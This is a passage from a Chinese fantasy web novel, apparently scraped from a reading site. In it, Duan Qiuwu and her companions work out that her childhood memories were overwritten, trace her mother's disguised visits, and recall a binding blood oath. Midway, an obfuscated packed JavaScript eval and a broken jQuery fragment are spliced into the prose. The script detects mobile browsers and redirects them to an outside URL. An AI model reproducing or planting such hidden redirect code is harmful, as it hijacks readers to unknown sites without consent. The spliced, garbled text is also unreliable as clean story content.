“你的意思是,”段秋梧指指自己脑门,“我和顾眠霜一样这里有问题?”


    顾眠霜:“……”


    “不不不,他的神魂是有裂缝,可能还掉了一块儿在彼界,所以养魂草治不好,”谷雨石浑然不知自己说出了什么震撼人心的话,语气还带着一丝雀跃,“你的是多出了一层白雾……嗯,遮蔽?”


    “遮蔽?”段秋梧重复道,“她向我隐瞒自己的去向?”


    她的手按在桌面上,指节曲起,指甲上的血色向后褪去。


    “为什么?我找了她那么久,她一次都没回来看过我?”


    霍不及的目光盯在她的手上。


    还好,段秋梧周围的气温没有变化,她没有在用灵力。


    “小段冷静,现在还没确定呢,”方迤赶紧走过来,一手放在她肩上,看向谷雨石,“小谷能说说吗?你看见的到底是什么样子的白雾?”


    谷雨石的表情未变。她对其他情绪的感知匮乏,对此不以为意,只看了一会儿段秋梧,眸子一动不动,瞳孔有些许扩大。


    “就是……原本的记忆还在那里,只是被另一层虚假的记忆覆盖了,”她轻声细语道,“并且做得非常……完美,非常高明。”


    方迤手掌的温暖隔着衣物传递到段秋梧的肌肤。


    “什么意思?”


    “要么使用术法的人是个中高手,要么,是被施术者没有反抗。”谷雨石说,“毕竟是修改记忆,不是随便什么人都会的。”


    “所以我现在需要知道你还记得什么,借此找到其中的漏洞……小段姐姐,绝霜到底是怎么拿到的,你还记得吗?”


    被施术者没有反抗。


    段秋梧敛下眸子,想:我当然很相信她。


    如果苏玉照亲口向她说,自己要走……


    她还能不答应吗?


    方迤轻声说:“别想太多,你那时候才十二岁呢。”


    十二岁的孩子在许多普通人家已经足够懂事、帮工,甚至开始准备谈未来的亲事了。可对于她来说,那只是漫长修炼的一个阶段性的起点。


    她仍在学习。她不会应付大人,不会琢磨那些曲意逢迎的话语,也没有学会藏好脸上的表情。


    段秋梧突然并不确定,自己在十二岁的时候,是否能够理智地放走苏玉照。


    她那么惧怕段钦。


    万一是妈妈想走,但自己不让呢?


    万一自己是妈妈的绊脚石……


    屋内一时沉寂。太阳已经落下去了,关元驹起身去拿蜡烛,火有些不稳,他便又剪了剪灯花。斜对面的顾眠霜原本双手合握放在桌面上,突然换了个姿势,伸手掏了掏。


    他在段秋梧面前放下一个熟悉的瓷瓶。


    “薄荷味儿的糖。”他说。


    段秋梧梗了一下:“……”


    关元驹刚点好灯,走了回来:“平心静气啊,段姐试试。”


    谷雨石问:“我能吃吗?”


    霍不及警惕地看着瓷瓶。


    “当然当然!”


    被这么一打岔,段秋梧什么劲都没了。她一边觉得这情景似曾相识,一边凄风苦雨地拿起瓶子给谷雨石倒了两颗。


    “我想了,确实想不起来,”她说,“往前回忆的话,这把扇子在某天突然出现,之后我的修炼就带上了它。”


    “有多突然?”


    “……前一天还没有,后一天突然出现了,这种突然。”


    谷雨石从霍不及的手里接过一颗糖,塞进嘴里,沉思:“那可能性很大啊,苏阿姨八成是回去看过你的。”


    “但是我真的想不出有什么……”段秋梧顿了顿,“对了,那天包子铺多了一个人。”


    “包子铺?”


    “嗯。”


    段家往外走出两条街,有一家在街角卖包子的店。


    老板是个大娘,勤快老实,每天天不亮就起来上蒸笼。段秋梧时常路过那一片,清净无比的凌晨街道只有她家店铺开了门,蒸气热腾腾上升,和天边的微光一起氤氲成一片白。


    有段时间那家店里会多出一个帮工,据说是老板的远房亲戚,一个潇洒能干的大姐,看着挺年轻,一头乌发,手脚也麻利。老板要垫几块布才能提起来的蒸笼,她能一口气全端起来,让老板去取最下一层的包子馒头。


    被嚼碎的薄荷清香弥漫开来。


    谷雨石问:“包子铺换人跟你妈妈有什么关系?”


    “第一是她来的时间,刚好就在我拿到绝霜的日子附近,”段秋梧说,“第二是,她似乎格外照看我。”


    帮工大姐的笑容深深印刻在眼角纹路里,脸上时常带着出汗之后无瑕擦拭的油光。她会给段秋梧多送一个甜味的豆沙包,在她站在附近排队的时候同她唠唠家常。


    冷不冷?有没有好好吃饭?小姑娘怎么都不太长个儿,是不是又瘦了?


    她不是每天都在,但每年都会来上那么几次,每次只待几天,便又突然消失。


    段秋梧原本不太在意,但几年下来,也对她有些印象。后来她不想再收这个多出来的豆沙包,又恰好对方已经离开,便去问包子铺老板:“老板,你那来帮忙的亲戚呢?”


    老板答:“啊,她走啦。”


    “她总给我多送包子呢,我把差价给您吧。”


    老板答:“不必要呢,她说看你亲切,像她干女儿,多给你的那些她已掏钱付过给我了。”


    “那她下次来是什么时候?”


    老板答:“啊,她走啦。下次不晓得咯。钱不必要呢。”


    段秋梧疑惑地问:“不是亲戚吗?没通信吗?”


    “不晓得咯,不必要呢。”


    “……”


    “……听起来好像是有点奇怪,”方迤说,“像是被暗示了,其实她并不知道那人到底是什么情况,只记得要这么回答你。”


    谷雨石:“也有道理,毕竟苏家不是专精记忆控制的。”


    段秋梧此时已经冷静下来,道:“如果她还会借其他身份回来看我,为什么一开始不带我走?……在我有能力离开段家,但是被段钦的谎言束缚的时候,或者是段家变成妄墟,而我整天在彼界游荡的时候……”


    顾眠霜:“红线。”


    段秋梧抬头看他。


    顾眠霜的声音和缓:“妄墟的内容和妄枢生前是有联系的,红线出自哪里?”


    “在小段姐姐这事之前,巡夜司并不知道‘贪狼街’用红线连接了所有拾荒客,”谷雨石道,“怪不得以往抓到的拾荒客怎么审都审不出来……”


    她沉吟一下:“而且我记得,你说过,贪狼街出现的时候你什么事情都还没有做,就被绑上了贪狼街的红线,对吧?”


    “……”


    “如果这种东西在之前就存在了呢?我是说……在成为妄墟之前,你和你妈妈身上就有类似红线的东西……”


    霍不及开口道:“盟血誓?”


    其他人齐刷刷看向他。


    冷酷黑衣人霍不及,此刻在顾眠霜眼里除了蓝色鹦鹉头之外,又多了一个备注:冷知识大全。


    博览全书的谷雨石被提醒了:“哦!”


    “我有印象,那个法术的效果其实很简单。”


    她说:“我没记错的话……‘不得说谎,不得背叛’。就这样而已。”


    霍不及:“也是一种家族天赋,近几十年都没怎么听说过了。如果段钦就是当年那一支的后代,那他也算是祖上阔过,他对权力还残存妄想,也算事出有因。”


    “这个不能说谎,是基于事实,还是基于人的认知?”


    “当然是人的认知,它不像巡夜司那个誓言有天道做公证。你们可以当成一种神魂相连的锁链。”


    段秋梧第一次把这些过去的故事在其他人面前展现,无意识地摩挲手里的瓷瓶。冰凉的瓷已经染上了体温,温润的反光里有她脸庞的模糊倒影。


    苏玉照可能不是故意把她留下的。


    因为那个见鬼的“不得说谎,不得背叛”,她没办法带着真实的记忆面对段钦的提问。


    “其实我觉得,以苏家差点断代的情况,这种涉及的记忆的术法不太可能做得那么完美。苏阿姨能瞒你这么久,可能也有小段姐姐不反抗的原因,”谷雨石说,“就像催眠术法,双方配合的时候效果最大。”


    段秋梧低着头:“……我知道了。”


    “也就是说,我其实知道她要走,并且同意了让她修改我的记忆,以便在段钦面前不出问题,”她说,“之后,她还会避开段钦的眼目,乔装回来看我。”


    “之所以不能带我离开,是因为‘红线’她还没有办法解决。”


    她抿了一下嘴唇。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16947417|186325||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    顾眠霜把她身上红线切断的事情仅仅发生在几天前,或许苏玉照还没有知晓。


    如果能找到……


    如果能让顾眠霜帮忙的话……


    “不管怎么样,我们都是要去解决贪狼街这个妄墟的,对吧。”


    顾眠霜轻轻敲了一下桌面,说:“明天去一趟阳川,先看看歌谣是什么意思。”


    谷雨石一下子就弯起眼睛:“是哦,顾大哥一定会帮忙的。小关哥哥,我能再吃一颗吗?”


    她现在五情仅有“喜”和“思”,虽然天真感比之前薄了不少,说话间也成熟了一些,但言语带笑、语气上扬的习惯还在。


    与其说是缺失其他情绪,不如说是她在“积极、欣悦”这一块里拥有比其他人层次更丰富的感悟。


    关元驹欣然:“当然当然,一天最多吃十颗,不过你还小呢,最多五颗吧。”


    霍不及:“三颗。”


    他冷酷地从段秋梧手里拿过瓶子。


    方迤:“所以‘风催离人归’指的是谁啊?苏玉照吗?”


    “‘有家勿要回’指的又是谁?”


    关元驹:“反正段家肯定不是什么好地方,苏月濯嫁得好不好就不知道了。”


    顾眠霜看向段秋梧:“苏月濯没去看过苏玉照?你好像一开始没想起来有这个人。”


    段秋梧揉了揉自己太阳穴,疲惫道:“没有。我小时候只听说过这个大姨的存在,但一次都没见过。长大一点之后我妈也不提她了……再加上我后来拿着拾荒客的身份,不能轻易去现世,根本无从找起。”


    “对了……拾荒客要定期上交墟核给贪狼街。我有时候因为不想对无辜的人下杀手,拿不到那一次的墟核,有数次都被迫拖到了临期,”她又想起一件事来,“然后我就会以各种形式‘碰巧’得到新的妄墟的消息,并且往往还是巡夜人尚未插手的,甚至是已经有确切事件背景的……”


    “一次两次还算是巧合,可算起来这样的事情已经发生十多二十次了,包括……”


    包括宋文简。


    李秧生的事情也是一个偶遇的“路人”,凑巧让她知道的。


    方迤安抚地拍了拍段秋梧肩膀,走回自己的位子上:“好了,今天就说到这里吧,还有什么问题我们明天再谈。”


    “小谷,你今晚睡哪?”


    “不知道诶,我还没有去登记巡夜人的住处,”她嚼嚼糖,“霍不及一定要跟着我,不知道现在去登记来不来得及……”


    方迤说:“天都黑了,别出门了,你们就睡师弟隔壁那间吧,让他把药炉和桌子都搬一搬。”


    霍不及:“我……”


    “那个屋子有外间和里间的,中间有门,没事。”方迤想了想,“哦,外间没有床……”


    霍不及:“我可以睡屋顶……”


    “我有床啊。”


    关元驹展示他的三个乾坤袋:“我有之前给顾哥买的四脚大床!”


    顾眠霜:“?”


    没搞懂这事怎么也有他的份。


    霍不及试图阻拦:“不,其实……”


    关元驹腾地从椅子上站起来,大踏步往那边走:“我现在就去把它放下!”


    霍不及伸出的手还在半空:“……”


    他眼睁睁看着关元驹走出去了。


    “唔,还有一件事,”谷雨石又说,“我来之前查了你们队伍的资料,因为跟隔壁洛宸带队的那边有关联,所以能看见你们破解了一个妄墟。不过没有看见任务报告哦。”


    顾眠霜和段秋梧准备出门的脚步同时一停。


    谷雨石:“参加任务的每个人都要交一份,不能共用一份,也不能代写。要写每个人的经历,找到妄枢的过程,还有对妄墟形成原因的推断……”


    顾眠霜和段秋梧:“……”


    徐空山那两大页草稿纸突然出现在他俩的脑海里。


    “在出妄墟之后一个月之内交就行了,因为经常有人受伤要养伤,或者精神不好要休息很久,总之不能逾期,”谷雨石掰手指,“不然还得加上这一个月以来做了什么的检讨书……”


    顾眠霜已经走到门口,声音轻飘飘地:“……啊,我也想起来有一件事,方迤,青淙宗需要去医修联盟那边重新登记……”


    段秋梧没忍住,一巴掌拍在他肩膀:“转移话题太明显了!!”